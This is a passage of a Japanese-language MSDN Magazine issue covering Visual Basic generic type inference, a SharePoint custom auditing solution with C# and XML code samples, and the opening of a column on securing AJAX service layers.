ここで、少し複雑な例について考えてみましょう。
Function Sum(Of T)(ByVal x As T, ByVal y As T) As T
  ...
End Function

Dim total = Sum(1, 2.0)
この場合の T の型は何でしょうか。2 つの型ヒントがあります。1 つは Integer であることを示し、もう 1 つは Double であることを示しています。結果として、Sum の上にマウスを置くと、コンパイラによって T の型が Double と推測されたことがわかります (整数と double 値の両方を処理するのに十分な型です)。
Visual Basic 2005 では、これによりコンパイル エラーが発生しますが (試してみてください)、Visual Basic 2008 では、コンパイラは新しい有力な型アルゴリズムを使用してすべての引数に対して有効な型を選択します。このアルゴリズムが動作するしくみは実際にかなり複雑ですが、「Visual Basic 9.0 言語仕様」の 8.13 セクション (go.microsoft.com/fwlink/?LinkId=123647 を参照) では簡略化された説明を読むことができます。
次の例についてはどうでしょうか。
Dim total = Sum(1D, 2)
ここでは、コンパイラは T の型を Decimal と推定します。これは指定された型の 1 つであり、Integer から Decimal への変換は拡大変換だからです (拡大変換と縮小変換の詳細については、go.microsoft.com/fwlink/?LinkId=123649 を参照)。
—Jonathan Aneja (Microsoft Visual Basic チーム)

ご質問やご意見は、Ken (basics@microsoft.com) まで英語でお送りください。

Ken Getz は、MCW Technologies のシニア コンサルタントであり、AppDev (www.appdev.com) のコースウェアの作成者でもあります。Ken は、『ASP.NET Developers Jumpstart』(Addison-Wesley、2002 年)、『Access Developer's Handbook』(Sybex、2002 年)、および『VBA Developer's Handbook, 2nd Edition』(Sybex、2001 年) の共著者です。連絡先は keng@mcwtech.com です。


Office Space
SharePoint におけるカスタム監査
Ted Pattison

コードのダウンロード : OfficeSpace2008_09a.exe (631 KB)
オンラインでのコードの参照
目次
AuditingDemo プロジェクト
監査構成をサポートするページを作成する
[サイトの操作] メニューを拡張する
監査ログ エントリを表示する
アイテムごとにログを表示する
SharePoint® テクノロジの多くのユーザーは、Windows® SharePoint Services (WSS) 3.0 プラットフォームに監査サポートが直接組み込まれていることに気が付いていません。このことが知られていない理由は、主に、WSS の監査サポートが既定では無効になっており、初期状態の WSS にこれを有効にする手段が用意されていないことにあります。WSS の監査インフラストラクチャを活用するには、WSS に含まれていない追加のコードが必要です。
WSS の監査サポートを活用できるようにする簡単な方法として、Microsoft® Office SharePoint Server (MOSS) 2007 を使用する方法があります。MOSS には、サイト コレクションの所有者がアクティビティの自動イベント ログを有効化および構成できるユーザー インターフェイスが用意されています ([サイトの設定] ページから [監査設定の構成] ページにアクセスしてください)。また、MOSS には監査レポート機能も用意されています。この機能は、監査ログのエントリを読み取り、特定のサイト コレクション内でどのユーザーがコンテンツの読み取りや書き込みなどのアクティビティに関与したかを示すレポートを出力します。
WSS の監査サポートを使用できるようにするもう 1 つの方法は、開発者の皆さんにとって魅力的な方法です。Visual Studio® を使用してカスタム SharePoint ソリューションを構築し、サイト コレクションの管理者が WSS アクティビティのイベント ログを有効化および構成できるカスタム アプリケーション ページを作成できます。ただし、アクティビティの自動イベント ログを有効化する機能だけでは不十分です。それ以上の機能も提供しなければなりません。WSS を対象とするカスタム監査ソリューションには、ユーザーが WSS の監査ログに追加された監査エントリを表示したり、そのレポートを作成したりできるように、ある種のユーザー インターフェイスを含める必要があります。
2 年前、マイクロソフトが MOSS 2007 の最初のパブリック ベータをリリースした直後に、Joanna Bichsel と私は付属のコード サンプルと共に「SharePoint Server 2007 を使用したアイテム レベルの監査」(msdn.microsoft.com/library/bb397403) というタイトルのホワイト ペーパーを発表しました。このホワイト ペーパーでは、WSS の監査サポートのプログラミング方法に関する数多くの重要な事柄を詳しく解説しました。また、MOSS のカスタム ポリシー機能と監査レポート生成機能を使用することで、WSS の監査インフラストラクチャをどのように活用および拡張できるかについても説明しました。
今月のコラムでは、AuditingDemo という名前の Visual Studio プロジェクトを使用して私が最近作成した、新しい SharePoint ソリューションについて説明します。このプロジェクトには、監査サポートを WSS オブジェクト モデルを通じて有効化するコードなど、上記のホワイト ペーパーで説明したものと同じ監査管理コードの一部が含まれています。ただし、AuditingDemo プロジェクトは一から設計し直されているため、2 年前に私が記述したサンプル コードよりも出発点としてはるかに優れたものとなっています。たとえば、AuditingDemo プロジェクトの作成には STSDEV ユーティリティを使用しました。また、ソリューション パッケージの展開、セキュリティ プログラミング、セキュリティによるトリミングなどの領域に数多くのベスト プラクティスを取り入れています。
今月のコラムの目的は、これらの新しいベスト プラクティスと SharePoint の展開手法を説明することです。元のホワイト ペーパーの内容を説明し直すのではなく、補完することを目指しました。元のホワイト ペーパーをまだお読みでない場合は、まずそれに目を通し、今月のコラムのコンテキストをつかんでおくことをお勧めします。

AuditingDemo プロジェクト
AuditingDemo プロジェクトの目的は、WSS プラットフォームに組み込まれている監査サポートを活用できるカスタム SharePoint ソリューションを提供することです。サイト コレクションの所有者 (または監査マネージャの役割を担うその他のユーザー) が現在のサイト コレクションの監査設定を有効化、表示、および変更できるようなシナリオに主眼を置いて、プロジェクトを設計しました。AuditingDemo プロジェクトはさまざまな表示機能も提供するため、監査者の役割を担うユーザーは、監査ログの内容を確認し、サイト コレクション全体で、さらにはアイテムやドキュメントごとに、どのようなアクティビティが行われているかを確認できます。
既に説明したように、このプロジェクトは codeplex.com/stsdev からダウンロードできる STSDEV ユーティリティを使用してビルドされています。STSDEV ユーティリティについては、私が執筆した 2008 年 3 月号の「Office Space」コラム (msdn.microsoft.com/magazine/cc337895) を参照してください。
AuditingDemo プロジェクトは、スコープがサイト コレクションのレベルに設定されている重要なフィーチャー (これにも AuditingDemo という名前が付けられています) を使用して設計されています。AuditingDemo を使用するには、サイト コレクションごとにフィーチャーをアクティブ化する必要があります。
AuditingDemo フィーチャーには、FeatureActivated イベント ハンドラのあるフィーチャー レシーバ クラスが含まれています (図 1 を参照)。FeatureActivated 内のコードはフィーチャーのアクティブ化中に実行され、2 つの重要な処理を行います。まず、サイト コレクション全体の監査ログを完全に有効化します。また、AuditingDemo ソリューションに固有のいくつかのセキュリティ オブジェクトを作成します。具体的には、FeatureActivated 内のコードによって、2 つの新しい SharePoint グループと 2 つの新しいアクセス許可レベル (サイト コレクションの管理者が監査者と監査マネージャの役割にユーザーを追加できる) が作成されます。
図 1 FeatureActivated イベント ハンドラ
public override void FeatureActivated(SPFeatureReceiverProperties
  properties) {
  using (SPSite siteCollection = (SPSite)properties.Feature.Parent) {
    SPWeb TopLevelSite = siteCollection.RootWeb;

    // Turn on auditing flags.
    siteCollection.Audit.AuditFlags = SPAuditMaskType.All;
    siteCollection.Audit.Update();

    // create permission levels
    SPRoleDefinition AuditorPermissions, AuditManagerPermissions;
    AuditorPermissions = CreatePermissionLevel(
      "Auditor Permissions",
      "Can view audit logs",
      "Read");
    AuditManagerPermissions = CreatePermissionLevel(
      "Audit Manager Permissions",
      "Can configure auditing support",
      "Design",
      SPBasePermissions.ManageWeb);

    // create Auditors group
    SPGroup Auditors = CreateGroup(
      "Auditors",
      "for users who need to audit user activity");
    SPRoleAssignment AuditorRoleAssignment = new SPRoleAssignment(Auditors);
    AuditorRoleAssignment.RoleDefinitionBindings.Add(AuditorPermissions);
    TopLevelSite.RoleAssignments.Add(AuditorRoleAssignment);

    // create Audit Managers group
    SPGroup AuditManagers = CreateGroup(
      "Audit Managers",
      "for users who configure WSS auditing support");
    SPRoleAssignment AuditManagerRoleAssignment =
      new SPRoleAssignment(AuditManagers);
    AuditManagerRoleAssignment.RoleDefinitionBindings.Add(
      AuditManagerPermissions);
    TopLevelSite.RoleAssignments.Add(AuditManagersRoleAssignment);
}
FeatureActivated イベント ハンドラ内のコードは、CreatePermissionLevel と CreateGroup という 2 つのユーティリティ メソッドを呼び出します。私がこれらのメソッドを記述したのは、作成されるセキュリティ オブジェクトと同じ名前を持つ既存のセキュリティ オブジェクトを最初に削除するためです。各メソッドは、要求されたセキュリティ オブジェクト (アクセス許可レベルまたはグループ) を作成し、それをトップレベル サイト内の適切なコレクションに追加します。そして、厳密に型指定されたセキュリティ オブジェクトを呼び出し元に返します。CreatePermissionLevel メソッドは新しいアクセス許可レベルを表す SPRoleDefinition オブジェクトを返し、CreateGroup メソッドは SPGroup を返します。
3 番目と 4 番目のパラメータを適宜渡すことのできる複数のオーバーロードを実装した CreatePermissionLevel メソッドに注目してください。3 番目のパラメータは、新しいアクセス許可レベルのコピーを作成するために使用される既存のアクセス許可レベルの名前を渡すためのものです。たとえば、AuditorPermissions アクセス許可レベルは、組み込みの Read アクセス許可レベルのコピーを生成することによって作成されます。また、AuditManagerPermissions アクセス許可レベルは、組み込みの Design アクセス許可レベルのコピーを生成することによって作成されます。
CreatePermissionLevel メソッドの 4 番目のパラメータは SPBasePermissions 型であり、新しいアクセス許可レベルの初期化に使用される 1 つ以上の追加のアクセス許可を渡すために使用されます。たとえば、SPRoleDefinition オブジェクトの AuditManagerPermissions を作成する CreatePermissionLevel を呼び出すと、4 番目のパラメータの値 (ManageWeb) が渡されます。つまり、新しいアクセス許可レベルは、組み込みの Design アクセス許可レベルと同じアクセス許可、および ManageWeb アクセス許可を使用して作成されることになります。
ManageWeb アクセス許可は、監査設定を調整する必要のあるユーザーに必須のアクセス許可であるという点で重要です。メニュー項目の表示をこのアクセス許可を持つユーザーに制限する場合に使用できる、セキュリティによるトリミングに関する 2 つの手法については、このコラムで後ほど説明します。
CreateGroup メソッドは、新しいグループをトップレベル サイトに追加するだけではありません。このメソッドはさらに、新しいグループを関連付けられているグループのコレクションに追加し、新しいグループの ID を vti_associatemembergroup という名前のサイトレベル プロパティに追加します。グループのサイド リンク バーと [ユーザーの追加] ページのコンボ ボックスに新しいグループを表示して、サイト コレクションの所有者がより直感的にユーザーを新しいグループに追加できるようにする場合、この追加コードが重要な役割を果たします。

監査構成をサポートするページを作成する
AuditingDemo プロジェクトは、AuditConfig.aspx、AuditLogViewer.aspx、ItemAudit.aspx という 3 つのカスタム アプリケーション ページを提供します。これらはベスト プラクティスを取り入れた手法を使用して開発されました。たとえば、これらのアプリケーション ページは、LAYOUTS ディレクトリ内のソリューション固有のディレクトリ (AuditingDemo) に展開されます。これらのページの動作を規定するコードは、分離コード ファイル (AuditConfig.cs など) に記述されています。分離コード ファイルはプロジェクトのメイン アセンブリ (AuditingDemo.dll) にコンパイルされます。このアセンブリは、グローバル アセンブリ キャッシュ (GAC) にインストールされ、ここから読み込まれます。
AuditConfig.aspx アプリケーション ページには、WSS の監査サポートの構成に使用できるユーザー インターフェイスがあります。私は、CustomAction を AuditingDemo フィーチャーに追加することで、ManageWeb アクセス許可を持つユーザーに対し、サイト設定ページに AuditConfig.aspx へのリンクが表示されるようにしました。
<!-- Add Link to Site Setting Page -->
<CustomAction
  Id="SiteActionsToolbar"
  GroupId="SiteCollectionAdmin"
  Location="Microsoft.SharePoint.SiteSettings"
  Sequence="0"
  Rights="ManageWebs"
  Title="Audit Management" >
  <UrlAction Url="~sitecollection/_layouts/AuditingDemo/AuditConfig.aspx"/>
</CustomAction>
このカスタム動作は、GroupId 属性値 (SiteCollectionAdmin) と Sequence 属性値 (0) を使用して作成しました。そのため、[サイトの設定] ページの [サイト コレクションの管理] 列には、このリンクが最初に表示されます。
ManageWebs という値を指定した Rights 属性は WSS によって使用され、宣言型のセキュリティによるトリミングが実行されます。その結果、このリンクは ManageWebs アクセス許可を持つユーザーにのみ表示されるようになります。この処理が適用されるのは、サイト コレクションの所有者と、サイト コレクションの所有者が監査マネージャの役割に追加したユーザーです。
ユーザーが AuditConfig.aspx に移動すると、図 2 の UI が表示されます。ご覧のように、このアプリケーション ページには、監査を完全に有効または無効にするラジオ ボタンがあります。また、監査ログ エントリとして記録するアクティビティをユーザーが選択できる選択モードを有効にするラジオ ボタンもあります。
図 2 ユーザーが監査ログを構成できる AuditConfig.aspx
AuditConfig.aspx の [OK] ボタンのコードは、非常に単純です。ユーザーによってどのラジオ ボタンが選択されているかを読み取り、現在のサイト コレクションの監査フラグを適切な値に設定します。そして、変更内容をコンテンツ データベースに記録するために、Audit プロパティの Update を呼び出します。
SPSite siteCollection = this.Site;
if (radAuditingOff.Checked) {
  siteCollection.Audit.AuditFlags = SPAuditMaskType.None;
}
if (radAuditingOnFull.Checked) {
  siteCollection.Audit.AuditFlags = SPAuditMaskType.All;
}
if (radAuditingOnSelective.Checked) {
  siteCollection.Audit.AuditFlags = GetSelectiveAuditingFlags();
}
siteCollection.Audit.Update();
記録するアクティビティを選択するオプションがユーザーにより設定されている場合は、GetSelectiveAuditingFlags ユーティリティ メソッドが呼び出されます。このメソッドは、該当するすべてのチェック ボックスを調べ、ユーザーが監査対象として選択したすべての種類のアクティビティの組み合わせを表す SPAuditTypeMask 値を、ビット単位の OR 操作を使用して返します。
private SPAuditMaskType GetSelectiveAuditingFlags() {
  SPAuditMaskType AuditFlags = SPAuditMaskType.None;
  if (chkAuditView.Checked) {
    AuditFlags |= SPAuditMaskType.View;
  }
  if (chkAuditUpdate.Checked) {
    AuditFlags |= SPAuditMaskType.Update;
  }
  // Repeat for Copy, Move, Delete, Undelete, CheckIn, CheckOut,
  // Search, Workflow, SecurityChange, ProfileChange, SchemaChange
  return AuditFlags;
}

[サイトの操作] メニューを拡張する
私は、ナビゲーションのサポートを提供して、ユーザーが AuditLogViewer.aspx アプリケーション ページにアクセスできるようにしました。このページは、サイト上でどのようなアクティビティが行われたかを確認する必要のある、監査者の役割を担うユーザー向けのページです。[サイトの設定] ページにはそれ以外のリンクを追加しませんでした。監査者の役割を担うユーザーの多くが管理者ではないことが想定されるため、[サイトの設定] ページが監査以外の理由で利用される可能性が低いからです。そこで、カスタムの [サイトの操作] メニュー項目を使用してナビゲーションのサポートを追加すれば直感性が向上するだろうと考えました。皆さんには、この追加処理を見ていただくことで、フライアウト メニューを作成してセキュリティによるトリミングをプログラムで適用する方法もおわかりいただけると思います。
メニュー項目を動的に構築する場合は、カスタム コントロール クラスを作成すると共に、宣言型の CustomAction 要素を追加し、適切な場所でコントロール クラスのインスタンスをインスタンス化する必要があります。次の CustomAction 要素と前の CustomAction 要素の違いに注目してください。
<Elements xmlns="http://schemas.microsoft.com/sharepoint/">
  <!-- Add Command to Site Actions Dropdown -->
  <CustomAction Id="AuditingSupport"
    GroupId="SiteActions"
    Location="Microsoft.SharePoint.StandardMenu"
    Sequence="1000"
    ControlClass="AuditingDemo.SiteActionsCustomSubMenu"
    ControlAssembly="AuditingDemo, [4-part name]"
    Title="Auditing Support"
    Description="Support for configuring and viewing auditing" />
</Elements>
この CustomAction 要素と前の要素の主な違いは、UrlAction 要素の代わりに ControlClass 属性と ControlAssembly 属性を使用して宣言されていることです。これにより、AuditingDemo プロジェクトで使用されている SiteActionsCustomSubMenu などのカスタム コントロール クラスを使用して、メニュー項目を動的に生成できるようになります。図 3 に SiteActionsCustomSubMenu のコードを示します。カスタム コントロール クラスは、ASP.NET プログラミング モデルによって提供される WebControl クラスから継承する必要があることに注意してください。
図 3 SiteActionsCustomSubMenu
public class SiteActionsCustomSubMenu : WebControl {

  protected override void OnLoad(EventArgs e) {
    this.EnsureChildControls();
    base.OnLoad(e);
  }

  protected override void CreateChildControls() {
    SPSite siteCollection = SPContext.Current.Site;
    SPWeb site = SPContext.Current.Web;
    SPUser user = site.CurrentUser;
    // provide security trimming
    if (IsCurrentUserInGroup("Auditors") ||
        IsCurrentUserInGroup("Audit Managers") ||
        user.IsSiteAdmin) {
      string siteCollectionPath = siteCollection.Url;
      if (!siteCollectionPath.EndsWith(@"/"))
        siteCollectionPath += "/";

      SubMenuTemplate smt = new SubMenuTemplate();
      smt.Text = "Auditing Support";
      smt.ID = "mnuAuditingSupport";
      smt.Description = "Configure and View Auditing";
      smt.ImageUrl = siteCollectionPath +
                     @"_layouts/images/AuditingDemo/AfricanPith32.gif";
      smt.Sequence = 400;

      MenuItemTemplate mit1 = new MenuItemTemplate();
      mit1.ID = "mnuAuditLog";
      mit1.Text = "Audit Log";
      mit1.Description = "Inspect Audit Entries";
      mit1.Sequence = 401;
      mit1.ClientOnClickNavigateUrl = siteCollectionPath +
        "_layouts/AuditingDemo/AuditLogViewer.aspx";
      mit1.ImageUrl = siteCollectionPath +
        @"_layouts/images/AuditingDemo/Binoculars32.gif";
      // add menu item to Controls collection
      smt.Controls.Add(mit1);
      // perform extra security trimming for menu for AuditConfig.aspx
      if (IsCurrentUserInGroup("Audit Managers") || user.IsSiteAdmin) {
        MenuItemTemplate mit2 = new MenuItemTemplate();
        mit2.ID = "mnuAuditingConfiguration";
        mit2.Text = "Auditing Configuration";
        mit2.Description = "Enable/Disable Auditing";
        mit2.Sequence = 402;
        mit2.ClientOnClickNavigateUrl = siteCollectionPath +
          "_layouts/AuditingDemo/AuditConfig.aspx";
        mit2.ImageUrl = siteCollectionPath +
          @"_layouts/images/AuditingDemo/Compass32.gif";
        smt.Controls.Add(mit2);
      }

      this.Controls.Add(smt);
    }
  }

  private bool IsCurrentUserInGroup(string GroupName) {
    SPWeb site = SPContext.Current.Web;
    foreach (SPGroup group in site.SiteGroups) {
      if (group.Name.Equals(GroupName)) {
        return group.ContainsCurrentUser;
      }
    }
    throw new ApplicationException("There is no group named " +
      GroupName);
  }
}
CreateChildControls メソッドは、動的なセキュリティによるトリミングを提供します。フライアウト メニュー全体は、サイト コレクションの所有者か、監査者または監査マネージャ グループに追加されているユーザーにのみ表示されます。ユーザーが AuditConfig.aspx ページに移動するために使用できる 2 番目のメニュー項目は、監査者グループに属するユーザーに対しては非表示になります。このメニューは、サイト コレクションの所有者か、監査マネージャ グループに追加されているユーザーにのみ表示されます。
カスタム コントロール クラスを使用した動的メニューの作成に関して、もう 1 つ重要な点があります。Web パーツの場合と同様に、カスタム コントロール クラスを使用する場合は、Web アプリケーションのホストの web.config ファイルに SafeControl エントリが必要になります。STSDEV ユーティリティは、この SafeControl の追加をサポートしています。このユーティリティを使用して適切な要素を manifest.xml ファイルに追加すると、AuditingDemo.wsp ソリューション パッケージをファーム内で展開するたびに、必要な SafeControl エントリが 1 つ以上の web.config ファイルに自動的に追加されるようになります。

監査ログ エントリを表示する
AuditingDemo ソリューションには、図 4 に示す AuditLogViewer.aspx カスタム アプリケーション ページが含まれています。ユーザーは、サイト コレクション全体のすべての監査エントリをこのページで確認できます。このページには、[Clear Audit Log] (監査ログの削除) ボタンもあります。このボタンにはセキュリティによるトリミングが適用されるため、サイト コレクションの所有者にのみ表示されます。このボタンのコードは監査ログからすべてのエントリを削除します。この機能は、カスタム監査ソリューションのテスト中に役立ちます。
図 4 AuditLogViewer.aspx に表示される監査ログ エントリ
AuditLogViewer.aspx のコードでは、SPAuditQuery オブジェクトを使用して、現在のサイト コレクションの監査ログに対してクエリを実行します。クエリは、SPSite オブジェクトの Audit プロパティの GetEntries メソッドを呼び出すことで実行されます。GetEntries を呼び出すと、各監査エントリを調べるために SPAuditEntry オブジェクトとして列挙できる SPAuditEntryCollection オブジェクトが返されます。
SPSite SiteCollection = SPContext.Current.Site;
  SPAuditQuery wssQuery = new SPAuditQuery(SiteCollection);
  SPAuditEntryCollection auditCol =
    SiteCollection.Audit.GetEntries(wssQuery);
  foreach (SPAuditEntry entry in auditCol) {
    // enumererate through each audit entry
  }
表示内容を作成するために SPAuditEntryCollection を列挙する方法は多数あります。私は、ADO.NET DataTable オブジェクトを動的に作成し、情報を格納する 1 つの列を監査エントリごとに DataTable に挿入する手法を使用しました。DataTable を作成すると、監査情報を SPGridView コントロールにバインドして、比較的簡単に監査情報を表示できるようになります。
AuditLogViewer.aspx ページのコードでは、特別なセキュリティの問題に対処する必要があります。監査ログに対してクエリを実行するコードをよく見ると、まず RunWithElevatedPrivileges を呼び出して、特権付きの SHAREPOINT\System アカウントの ID でコードを実行できるようにしていることがわかります。監査ログに対するクエリの実行は特権が必要な操作なので、必ずこの手法を使用する必要があります。
監査者の役割に追加されているユーザーに対し、監査ログに対してクエリを実行するために必要なアクセス許可が付与されないようなシナリオも存在します。現在のユーザーが監査ログに対してクエリを実行するのに必要なアクセス許可を持っていない場合も、RunWithElevatedPrivileges を呼び出すことにより、監査ログに対するクエリをコードで実行できるようになります。

アイテムごとにログを表示する
AuditingDemo プロジェクトの 3 つ目のアプリケーション ページは、ItemAudit.aspx です。このページには、1 つの特定のアイテムまたはドキュメントについての監査エントリが表示されます。このページへのナビゲーションは、新しい EditControlBlock (ECB) メニュー項目を組み込みの Item コンテンツ タイプに追加する CustomAction 要素を追加することで提供されます。
<CustomAction Id="ItemAuditing.ECBItemMenu"
     RegistrationType="ContentType"
     RegistrationId="0x01"
     ImageUrl="/_layouts/images/GORTL.GIF"
     Location="EditControlBlock"
     Sequence="300"
     Title="View Audit History">
       <UrlAction Url=
   "~site/_layouts/AuditingDemo/ItemAudit.aspx?ItemId=
   {ItemId}&amp;ListId={ListId}"/>
   </CustomAction>
Item コンテンツ タイプに対して構成されている CustomAction は、Item から継承するあらゆるコンテンツ タイプにも適用されます。すべてのコンテンツ タイプが Item コンテンツ タイプから継承されるため、この手法を使用すると、サイト コレクション全体のすべてのアイテムとドキュメントに ECB メニュー項目を効率よく追加できます。
この手法をテストするには、AuditingDemo サンプル コードをダウンロードし、それを SharePoint 開発用コンピュータのファーム内で展開してください。特定のサイト コレクションで AuditingDemo フィーチャーをアクティブ化すると、すべてのアイテムとドキュメントに [View Audit History] (監査履歴の表示) というタイトルの ECB メニュー項目が表示されるようになります。ユーザーがその ECB メニュー項目を選択すると、図 5 に示すような ItemAudit.aspx ページにリダイレクトされます。
図 5 特定のアイテムの監査エントリが表示される ItemAudit.aspx
AuditLogViewer.aspx ページのコードと同様に、ItemAudit.aspx のコードは、SPAuditQuery オブジェクトを使用して監査ログのデータと DataTable を取得します。DataTable には監査ログ エントリのデータが挿入され、SPGridView コントロールにバインドされます。主な違いは、ItemAudit.aspx のコードでは、クエリを実行して結果をフィルタする前に SPAuditQuery オブジェクトの RestrictToListItem メソッドを呼び出している点です。これにより、クエリの結果が対象のアイテムとドキュメントに関連するものに限定されます。
SPAuditQuery クラスにはさらに 2 つのフィルタリング メソッド (RestrictToList と RestrictToUser) も用意されているため、特定のリストまたはユーザーに関係する監査エントリを表示できることに注意してください。また、RestrictToUser を RestrictToListItem メソッドまたは RestrictToList メソッドと組み合わせて使用することで、特定のユーザーがリストまたはリスト アイテムをどのように扱っているかを確認することもできます。

Ted へのご意見やご質問は、mmoffice@microsoft.com まで英語でお送りください。

Ted Pattison は、フロリダ州タンパ在住で、執筆、教育活動に従事しています。また、SharePoint MVP でもあります。著書に、Microsoft Press 発行の『Inside Windows SharePoint Services 3.0』があります。彼の会社 Ted Pattison Group (www.TedPattison.net) では、企業の開発者を対象とする SharePoint の上級者向けトレーニングを実施しています。


Cutting Edge
安全な AJAX サービス層を構築する
Dino Esposito

コードのダウンロード : CuttingEdge2008_09a.exe (469 KB)
オンラインでのコードの参照
目次
サービス層
AJAX サービス層を実装する
サービス呼び出しのための組み込みの保護機能
AJAX サービス層のセキュリティを実装する
サービスからユーザー情報を取得する
まとめ
AJAX および Silverlight™ アプリケーションの主な利点には、バックエンド サービスとの透過的で連続的な対話が挙げられます。問題は、セキュリティを考慮して設計されていない HTTP 上でそれらが実行されることです。承認されないアクセスからバックエンド サービスを保護することは、依然として重要です。では、どうすればよいでしょうか。
図 1 に、一般的な AJAX または Silverlight アプリケーションのアークテクチャを示します。これは、フロントエンドとバックエンドがインターネットで分離された本質的な 2 層アークテクチャです。このアーキテクチャの結果として、プレゼンテーション層とバックエンドの間に承認されないアクセスが入り込む余地があります。
図 1 リッチ Web クライアント アプリケーションの一般的なアーキテクチャ (クリックすると拡大画像が表示されます)
バックエンドは、パブリック URL の集合を介して API を公開します。これらの URL は、技術的にアプリケーションの一部でありパブリック サービスとして公開されているホストされるサービスを参照します。ファイアウォールなどの高度なセキュリティ バリアを配置した場合は、承認されない呼び出しだけでなく承認された呼び出しも停止されます。不要なアクセスを完全に取り除くことは非常に困難になります。当然ながら、イントラネットまたはエクストラネットのシナリオでは、この処理ははるかに簡単になります。
このような Web ベースの分散アーキテクチャを利用することを選択した場合は、部外者によるサービスの検索と悪用の可能性を考慮する必要があります。

サービス層
新しい分散システムには、プレゼンテーション層とビジネス層の間に、サービス層と呼ばれる追加のコード層があります。Martin Fowler の著書『エンタープライズ アプリケーション アーキテクチャ パターン』(翔泳社、2005 年) で明らかにされたサービス層は、分散アプリケーションの他の 2 つの層 (この場合は、プレゼンテーション層とビジネス層) の間の境界を構築する追加のコード層を表します。
プレゼンテーション層のコードは、一般にユース ケースを実装します。一般的なユース ケースはユーザーが実行する一連の操作であり、1 つ以上のビジネス オブジェクト、ワークフロー、およびサービスの間で対話が開始されます。サービス層では、きめの粗いサービスを通じて公開される中間 API を使用して、それらの細かい対話を抽象化できます。プレゼンテーション層では、この層の 1 つのサービスに対して 1 回の呼び出しを行います。呼び出されたサービス層のメソッドは、必要な動作を実装するためにビジネス層のオブジェクトとワークフローを調整します。図 2 に、サービス層の利点を示します。
図 2 サービス層がプレゼンテーション層とビジネス層を分離する (クリックすると拡大画像が表示されます)
サービス層の実装では、通常は呼び出し元が事前に認証および承認されているものと見なします。また、通常はファイアウォールの内側などのネットワークの分離された場所にサービス層を配置します。クライアントが ASP.NET アプリケーションの場合、サービス層はページ コード内部から呼び出されます。ただし、このコードは Web サーバー上で実行するため、サービスへの呼び出しは本質的にサーバーからサーバーへの呼び出しになり、保護と制御を備えた環境で実行されます。このシナリオでは、セキュリティの新たな考慮事項は発生しません。
ASP.NET AJAX または Silverlight シナリオでのサービス層を考えてみます。AJAX または Silverlight クライアントによるサービス層への呼び出しを可能にするため、サービス層のエンドポイントのアドレスをパブリックに公開する必要があります。これは、中間に配置するファイアウォールを外すことを意味します。
パブリックに接続するリッチ Web クライアントからは、パブリックに公開された機能のみを呼び出すことができます。バックエンド サービス層を保護するために、ASP.NET AJAX または Silverlight クライアントで目的の機能の簡易版を実装できます。これにより、たとえば、Silverlight クライアントで保留中の注文の表示 (重要でない操作) はできますが、新規注文の発注 (重要な操作) は許可されません。しかし、最終的に完全な機能が必要な場合は、セキュリティ対策を行う必要があります。

AJAX サービス層を実装する
筆者が AJAX サービス層と呼んでいる追加のサービス層では、前述のいくつかの承認されないアクセスを防止できます。この AJAX サービス層は従来のサービス層の前面に位置し、AJAX または Silverlight のプレゼンテーション層と残りのバックエンド システムとの間の通信を仲介します。AJAX サービス層ではサービスの URL がパブリックになり、見つかったサービスはだれもが使用できます。アプリケーションとこの層の間の通信は簡単で、ブロックされることはありません。
筆者がお勧めする AJAX サービス層ではアプリケーション ロジックを実装しません。この層はバックエンド システムに対する AJAX 固有のゲートウェイとして動作し、その唯一の目的はセキュリティの実装です。ただし、それと同時に、AJAX 固有のセキュリティ コードをビジネス サービスとアプリケーション サービスから保護します。
AJAX サービス層は、ユーザー インターフェイスから呼び出される ASMX Web サービス、WCF (Windows® Communication Foundation)、または REST (representational state transfer) サービスから構成されます。これらのサービスは 2 つの操作を実行します。まず、操作の要求元であるユーザーが操作の実行に十分なアクセス許可を持っているかどうかを検証します。一般に、メンバシップとロールがチェックされます。すべてのセキュリティ チェックに合格すると、AJAX サービス層のサービスは実際のアプリケーション サービス層に呼び出しを転送します。図 3 に、AJAX サービス層とアプリケーション サービス層への接続を示します。
図 3 AJAX サービス層が承認されない呼び出しからサービス層を分離する (クリックすると拡大画像が表示されます)
AJAX サービス層を通過するすべての呼び出しは安全と見なされ、コア システムへのアクセスが許可されます。AJAX サービス層とサービス層の間の通信では、ファイアウォール、IPsec、証明書などの考えられる限りの手段を使ってセキュリティをさらに強化することができます。
AJAX サービス層には、ASP.NET AJAX または Silverlight 2 アプリケーション内部から直接呼び出されるサービスが含まれています。そのため、直接 URL (Silverlight 2 の WebClient クラスなど) または JavaScript プロキシを通じて呼び出されるローカルの、ドメインが同じサービスから構成されています。ユーザー インターフェイスが一連のサードパーティ製のコントロールに基づいている場合は、(ページングや埋め込み先編集などの目的で) これらのコントロールのメンバにバインドするサービスを AJAX サービス層の一部として保護する必要があります。
しかし、セキュリティの実装にはコストがかかることを忘れないでください。特定のサービスでセキュリティ保護を必要とする操作が実際に実行されない場合は、保護しないでおく必要がある場合があります。これは許容できる選択肢であり、多数の Web サイトで採用されています。たとえば、オートコンプリート Web サービスには隠すものがほとんどありません。オートコンプリート機能を使用する Web サイトは、修正候補一覧を取得するために Web サービスに接続します。これはサーバーのデータを変更したり企業秘密を開示したりすることのない読み取り専用の操作です。セキュリティを保護しなくても、リスクはほとんどありません。
当然ながら、外部者によるシステムへの侵入を許せば、潜在的な未知のセキュリティ ホールを悪用される可能性が生じます。AJAX ではすべての種類のクライアントからの呼び出しを取得することが必要ですが、リスクのレベルを認識することも不可欠です。常に、さまざまなサービスを異なるサブドメインに配置することができます。

サービス呼び出しのための組み込みの保護機能
ASP.NET Web サービスと WCF サービスのエンドポイントでは、組み込みのセキュリティ バリアを自動的に利用できます。既定では、ASMX Web サービスの WebMethod を HTTP GET 呼び出しから呼び出すことはできません。さらに、POST 要求はコンテンツ タイプが application/json という特定の文字列に設定されている場合にのみ動作します。この単純なメカニズムによって、スクリプト インジェクション攻撃で生成された呼び出しが防止されます。ページに悪意のあるスクリプトが挿入されると、URL は <script> タグを通じてのみ呼び出せるようになります。<script> タグはクロスドメイン URL にもアクセスできますが、HTTP GET を使用する必要があり、ヘッダーまたはコンテンツ タイプを設定することはできません。同時に、ローカル ブラウザの JavaScript エンジン内部から実行を試みるダウンロードされたスクリプト コードはサンドボックス化され、ローカルまたはリモートのいずれの URL にもアクセスできません。
既定では、ASP.NET AJAX または Silverlight クライアントは HTTP POST を使用して WCF サービスを呼び出します。HTTP GET を有効にする (および URL の形式を変更する) には、サービスを適切に構成する必要があります。この場合の既定のコンテンツ タイプも application/json に設定されます。
これらを考慮しても、まだ心配でしょうか。もちろんです。
